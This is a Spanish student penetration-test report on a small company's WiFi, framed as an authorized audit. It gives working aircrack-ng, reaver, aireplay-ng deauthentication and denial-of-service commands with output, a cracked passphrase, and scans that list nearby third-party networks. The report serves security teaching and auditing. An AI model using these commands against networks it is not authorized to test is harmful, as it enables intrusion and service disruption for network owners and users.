



Informe de seguridad informática PYMES

Redes Wifi

Luis Ramírez de Diego

INFORME DE SEGURIDAD INFORMÁTICA EN LA PEQUEÑA Y MEDIANA EMPRESA.

Informe de seguridad informática realizado durante el Trabajo Final de Carrera del alumno Luis Ramírez de Diego en el año lectivo 2015/2016 y supervisado por el profesor y tutor del proyecto, Francisco Moya Fernandez

Primera actualización, Junio 2016

Contents

1	Resumen ejecutivo.	4
2	Resumen de Resultados	5
2.1	Fase de descubrimiento.	5
2.2	Configurar tarjeta inalambrica.	5
2.3	Puntos de Accesos.	6
3	Defecto de cifrado WLAN.	8
3.1	Cifrado WPA-WPA2	8
3.1.1	Ataque Reaver (Pixiewps)	9
3.1.2	Rompiendo Contraseña.	11
3.1.3	Denegacion de Servicios (DoS).	12
3.2	Recomendaciones.	13

Chapter 1

Resumen ejecutivo.

Wireless Cloud Security fue contratado para llevar a cabo una prueba de penetración con el fin de determinar su exposición a un ataque dirigido, a una red inalámbrica y así analizar las posibles vulnerabilidades. El objetivo es estudiar las prestaciones, limitaciones y seguridades de las tecnologías de red WIFI de la empresa (PYMEs). Así realizar pruebas para demostrar la vulnerabilidad de acceso a los protocolos de seguridad y proporcionar un diseño y una configuración de red inalámbrica segura. Alguno de los objetivos que se pretende conseguir son:

- Identificar si un atacante podría penetrar las defensas de esta empresa.
- Determinar el impacto de un fallo de seguridad.
- Confidencialidad de los datos privados de la compañía.
- La infraestructura interna y la disponibilidad de los sistemas de información.

Los esfuerzos fueron colocados en la identificación y explotación de las debilidades de seguridad que podría permitir a un atacante obtener acceso no autorizado a datos de la organización. Los ataques se llevaran a cabo con el nivel de acceso mínimo, es decir sin información previa. De esta forma se asemejara a los ataques realizados por parte de una persona externa a la organización y con ello poder señalar las brechas existentes. La evaluación se llevó a cabo de acuerdo con las recomendaciones formuladas en el NIST SP 800 a 115¹ con todas las pruebas y las acciones que se realizan en condiciones controladas

¹<http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf>

Chapter 2

Resumen de Resultados

2.1 Fase de descubrimiento.

Generamos información acerca de las redes que están presentes en la empresa Ficticia para llevar a cabo un test de penetración. Esta fase es muy importante porque definimos los objetivos previos de las pruebas y generamos la información acerca de las posibles vulnerabilidades potenciales. Nuestro objetivo en particular es conseguir la siguiente información:

- Identificar redes ocultas.
- Identificar que tipo de clientes hay conectados a la red.
- Tipos de autenticación utilizadas por las redes. Intentando encontrar las redes abiertas o que utilizan autenticación WEP y otras redes vulnerables.

Para descubrir las redes realizamos un escaneo de la red inalámbrica activa y pasiva. La activa implica enviar paquetes a puntos de acceso visibles y la pasiva capturar y analizar el tráfico de la red inalámbrica permitiendo descubrir los puntos de accesos ocultos.

2.2 Configurar tarjeta inalámbrica.

Para configurar nuestra tarjeta en modo monitor confirmaremos que nuestra tarjeta inalámbrica se ha detectado y que el controlador se ha cargado correctamente.

```
=  
wlan0 IEEE 802.11bgn ESSID:off/any  
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm  
Retry short limit:7 RTS thr:off Fragment thr:off  
Encryption key:off
```

2.3. PUNTOS DE ACCESOS. CHAPTER 2. RESUMEN DE RESULTADOS

```
Power Management:off

wlan1 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
```

Una vez se ha detectado la interfaz wifi, procedemos a activarlo en modo monitor utilizando la utilidad "airmon-ng" disponible en la distribución Kali Linux. Esta aplicación inicializará la interfaz wifi anteriormente detectada con el fin de poder capturar las redes y paquetes inalámbricas de la zona.

=

```
wlan0mon IEEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
```

Con estos pasos hemos creado con éxito un interfaz en modo monitor llamado wlan0mon. Esta interfaz nos ayudara a rastrear los paquetes inalámbricos de la zona.

2.3 Puntos de Accesos.

Para poder escanear las redes y clientes wifi en el alcace de nuestra zona utilizaremos la utilidad "airodump-ng" también disponible en la distribución kali Linux. Con esta exploración hemos identificado las siguientes redes y clientes con los que procederemos a detectar posibles vulnerabilidades.

=

```
BSSID CANAL ENC POWER VEL CLIENTE ESSID
-----
64:A6:51:04:13:80 8 WPA2 16 54 No vodafone1378
F4:06:8D:8F:33:79 11 WPA2 16 54 No devolo-f4068d8f3379
C8:51:95:8D:42:9C 11 WPA2 16 54 No Orange-429D
4C:09:D4:66:35:DE 4 WPA2 16 54 Yes Orange-DC500
DC:53:7C:7B:3A:88 9 WPA2 18 54 No ONO92F3
98:97:D1:72:8C:9F 11 WPA2 26 54 No MOVISTAR_8C9E
DC:53:7C:8F:AB:D3 1 WPA2 29 54 Yes HOSTAL LOS GUERREROS
E0:41:36:40:47:6C 6 WPA2 32 54 Yes MOVISTAR_476C
00:22:F7:23:83:30 6 WPA2 34 54 Yes C150APM
80:B6:86:D5:F9:4B 1 WPA2 61 54 No laboratorio wifi
90:67:1C:79:0E:E0 1 WPA2 50 54 Yes vodafone0EDA
BSSID CANAL ENC POWER VEL CLIENTE ESSID
-----
64:A6:51:04:13:80 8 WPA2 18 54 No vodafone1378
C8:51:95:8D:42:9C 11 WPA2 14 54 Yes Orange-429D
4C:09:D4:66:35:DE 4 WPA2 16 54 No Orange-DC500
DC:53:7C:7B:3A:88 9 WPA2 18 54 No ONO92F3
98:97:D1:72:8C:9F 11 WPA2 26 54 No MOVISTAR_8C9E
DC:53:7C:8F:AB:D3 1 WPA2 29 54 Yes HOSTAL LOS GUERREROS
E0:41:36:40:47:6C 6 WPA2 32 54 Yes MOVISTAR_476C
00:22:F7:23:83:30 6 WPA2 36 54 No C150APM
90:67:1C:79:0E:E0 2 WPA2 51 54 Yes vodafone0EDA
80:B6:86:D5:F9:4B 1 WPA2 60 54 No laboratorio wifi
DC:53:7C:2D:AC:63 1 99 -1 No <length:0>
BSSID CANAL ENC POWER VEL CLIENTE ESSID
```

2.3. PUNTOS DE ACCESOS. CHAPTER 2. RESUMEN DE RESULTADOS

```
-----  
F4:06:8D:8F:33:79 11 WPA2 14 54 No devolo-f4068d8f3379  
5C:DC:96:4E:26:C0 6 WPA2 14 54 No Orange-26BE  
C8:51:95:8D:42:9C 11 WPA2 16 54 No Orange-429D  
4C:09:D4:66:35:DE 4 WPA2 17 54 No Orange-DC500  
DC:53:7C:7B:3A:88 9 WPA2 18 54 No ONO92F3  
98:97:D1:72:8C:9F 11 WPA2 24 54 No MOVISTAR_8C9E  
E0:41:36:40:47:6C 6 WPA2 29 54 Yes MOVISTAR_476C  
DC:53:7C:8F:AB:D3 1 WPA2 30 54 No HOSTAL LOS GUERREROS  
00:22:F7:23:83:30 6 WPA2 36 54 No C150APM  
80:B6:86:D5:F9:4B 6 WPA 42 54 No laboratorio wifi  
90:67:1C:79:0E:E0 2 WPA2 50 54 Yes vodafone0EDA
```

Chapter 3

Defecto de cifrado WLAN.

Con las técnicas de identificación me refiero al análisis de dispositivos activos, sus puertos y servicios asociados y analizarlos en busca de vulnerabilidades potenciales. Las empresas o organizaciones suelen utilizar técnicas, no técnicos para identificar los activos que deben ser analizados. En los últimos tiempos, los ataques son dirigidos poco a poco a WPA. A pesar de que no hay ningún ataque disponible al público en la actualidad para romper WPA en todas las condiciones hay ataques que son factibles bajo circunstancias especiales. Las WLAN transmiten datos a través del aire y por lo tanto hay una necesidad inherente a la protección de los datos para que sean confidenciales. Esto se logra mediante los siguientes cifrados.

- Wired Equivalent Privacy (WEP)
- WiFi Protected Access (WPA)
- WiFi Protection Access v2 (WPA2)

3.1 Cifrado WPA-WPA2

A continuación analizamos la red wifi con encriptación WPA siguiente:

- BSSID: 80:B6:86:D5:F9:4B
- ESSID: laboratorio wifi
- CANAL: 6
- MODO MONITOR: wlan0mon

3.1.1 Ataque Reaver (Pixiewps)

Además de reaver, si es posible se utilizará la herramienta pixiewps para realizar análisis de fuerza bruta del PIN WPS en el dispositivo AP que analizamos por si su entropía es nula o débil (ataque pixie dust).

```
reaver -F -G -i wlan0mon -b 80:B6:86:D5:F9:4B -c 6 -a -n -vv -D
```

$$=$$

9

3.1. CIFRADO WPA-WPA2 CHAPTER 3. DEFECTO DE CIFRADO WLAN.

```
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
- Fabricante      : Realtek Semiconductor Corp.
- Modelo         : RTL8671
- Numero de modelo : EV-2006-07-27
- Numero de serie  : 123456789012347
- Device Name     : ADSL Modem/Router
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
- Fabricante      : Realtek Semiconductor Corp.
- Modelo         : RTL8671
- Numero de modelo : EV-2006-07-27
- Numero de serie  : 123456789012347
- Device Name     : ADSL Modem/Router
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
- Fabricante      : Realtek Semiconductor Corp.
- Modelo         : RTL8671
- Numero de modelo : EV-2006-07-27
- Numero de serie  : 123456789012347
- Device Name     : ADSL Modem/Router
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
```

3.1. CIFRADO WPA-WPA2 CHAPTER 3. DEFECTO DE CIFRADO WLAN.

```
[+] Sending identity response
- Fabricante      : Realtek Semiconductor Corp.
- Modelo         : RTL8671
- Numero de modelo : EV-2006-07-27
- Numero de serie  : 123456789012347
- Device Name     : ADSL Modem/Router
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
[!] WARNING: Failed to associate with 80:B6:86:D5:F9:4B (ESSID: laboratorio wifi)
```

3.1.2 Rompiendo Contraseña.

Buscamos descifrar la contraseña de acceso al dispositivo emisor de la señal inalámbrica. Con ello podremos realizar conexión fraudulenta al mismo, para tener acceso a la red inalámbrica y servicios adicionales presentes como por ejemplo, Bases de Datos e Intranet Corporativa, u obtener información sensible. La prueba comprende cuatro etapas: Exploración, Interceptación, Inyección y Descifrado. Para llevarla a cabo, se requiere una tarjeta de red inalámbrica con capacidad de inyección, así como la suite de aplicaciones de Aircrack, incluida en la distribución Kali Linux.

Primeramente iniciamos nuestra interfaz wifi sobre el canal AP que analizamos.

airmon-ng start wlan0 6

A continuación intentamos capturar los 4 paquetes del handshake en el momento que un cliente se autentifica con el AP que estamos analizando.

airodump-ng -c 6 -bssid 80:B6:86:D5:F9:4B -w output wlan0mon

Luego utilizamos aireplay-ng para deautentificar al cliente conectado. Intentamos enviar un mensaje al cliente para desasociarlo de la AP que estamos analizando.

aireplay-ng -0 1 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan0mon

Finalmente intentamos conseguir la clave WPA/WPA2 pre-compartida utilizando aircrack-ng y con la ayuda de un diccionario de posibles palabras. Básicamente aircrack-ng comprueba cada una de las palabras si coincide con la clave.

3.1. CIFRADO WPA-WPA2 CHAPTER 3. DEFECTO DE CIFRADO WLAN.

aircrack-ng -a 2 -s output-01.cap -w wordlist.lst

Este análisis se ha realizado en un tiempo de **90** segundos, y **SI** se ha podido encontrar la clave. El detalle es el siguiente.

```
=

Opening /root/tesis/AIRCRAK/CAPTURA-01.cap
Reading packets, please wait...
[KRead 8730 packets.

# BSSID          ESSID          Encryption
1  80:B6:86:D5:F9:4B  laboratorio wifi  WPA (1 handshake)

Choosing first network as target.

Opening /root/tesis/AIRCRAK/CAPTURA-01.cap
Reading packets, please wait...
[2J[2;34HAircrack-ng 1.2 rc4[4;7H[00:00:00] 3/3 keys tested (19.20 k/s) [6;7HTime left: 0 seconds
[8;24HCurrent passphrase: 0123456789
[11;7HMaster Key      : 95 7B E2 D3 1F 77 07 08 E7 9D 7F CD 3E 67 80 8B
[23C8C 2D CE 1E 6B E4 FC AF CC 90 6A E0 40 7C 5B F4 [14;7HTransient Key : E9 38 08 79 3E 27 9C EE E9 0F AE 4C AD EE 2B 45
[23CB7 BE 5C 14 E7 7C 43 FA 10 0D F6 BE 21 58 EE D3
[23CD3 B7 13 95 61 C8 CB 50 C9 65 58 9A C3 99 44 8C
[23CAB 95 ED B4 D2 23 26 AE CD 07 4C 44 34 AD 0C 67 [19;7HEAPOL HMAC   : FC ED 45 AE 18 91 C9 1C 4C EC 09 49 C3 65 4D 51
[8;27H[2KKEY FOUND! [ 0123456789 ][11B
[8;27H[2KKEY FOUND! [ 0123456789 ][11B
```

3.1.3 Denegacion de Servicios (DoS).

Las redes WLAN son propensas a los ataques de denegación de servicio (DoS) usando varias técnicas, incluyendo pero no limitadas a:

- Ataque de de-autenticación
- Ataque de desasociación.
- Ataque CTS-RTS.
- Ataque de interferencia del espectro de la señal.

El objetivo de una Denegación de Servicio a una Red Wi-fi es dejar a los usuarios legítimos de una red Wi-fi sin poder acceder a Internet, esto se logra inundando con paquetes de deautenticación al punto de acceso AP y/o al cliente.

Continuamos trabajando con la tarjeta en modo monitor, hemos asignando el canal del punto de acceso AP que estamos analizando.

airmon-ng start wlan0 6

Luego hemos realizado el envío de difusión de de-autenticación de paquetes (broadcast de-authentication packet) hacia el punto de acceso AP

3.2. RECOMENDACIONES.CHAPTER 3. DEFECTO DE CIFRADO WLAN.

intentando desconectar a todos los clientes.

aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B wlan0mon

aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan0mon

Si hemos conseguido enviar con éxito frames de de-autenticación al punto de acceso y el cliente. Esto se ha traducido en conseguir que se desconecte y una pérdida completa de comunicación entre ellos. También hemos enviado paquetes de difusión de de-autenticación, que asegurará que ningún cliente en las cercanías se pueda conectar correctamente al punto de acceso.

Es importante tener en cuenta que tan pronto como el cliente se desconecta, intentará volver a conectarse de nuevo al punto de acceso y por lo tanto el ataque de de-autenticación tiene que llevarse a cabo de manera sostenida para tener un efecto de ataque de denegación de servicio completo.

3.2 Recomendaciones.

A continuación algunas recomendaciones básicas.

- Se debe tener en cuenta el alcance de nuestra red, ya que cuanto menos señal se propague fuera de las instalaciones menor será las posibilidades de que se acceda desde fuera.
- Por muy simple que parezca, es importante cambiar los datos de accesos al router que vienen por defecto.(No olvidar cambiar la contraseña)
- Ocultar el nombre de la red (SSID), de forma que no se difunda el nombre de la red.
- Se deben usar los protocolos de seguridad, WPA o WPA2. Ya que, el protocolo WEP no nos aporta ningún tipo de seguridad.
- Es recomendable que se apague el router o punto de acceso una vez que ya no vaya a utilizarse.
- Hacer listas de control de acceso con las direcciones MAC de aquellos dispositivos que quieras que tengan acceso a la red.
- Utilizar IP estáticas, deshabilitando el DHCP (asignación dinámica IP)

3.2. RECOMENDACIONES.CHAPTER 3. DEFECTO DE CIFRADO WLAN.

- Realizar auditorias periódicamente ayudará a prevenir ataques, evitando posibles errores.
- Contratar profesionales en la seguridad informática.

Estas medidas no harán que tu red sea invulnerable a cualquier ataque, pues no se puede garantizar en su totalidad pero garantizará unos niveles altos de seguridad.

"Preguntarse cuándo los ordenadores podrán pensar es como preguntarse cuándo los submarinos podrán nadar" – Edsger W. Dijkstra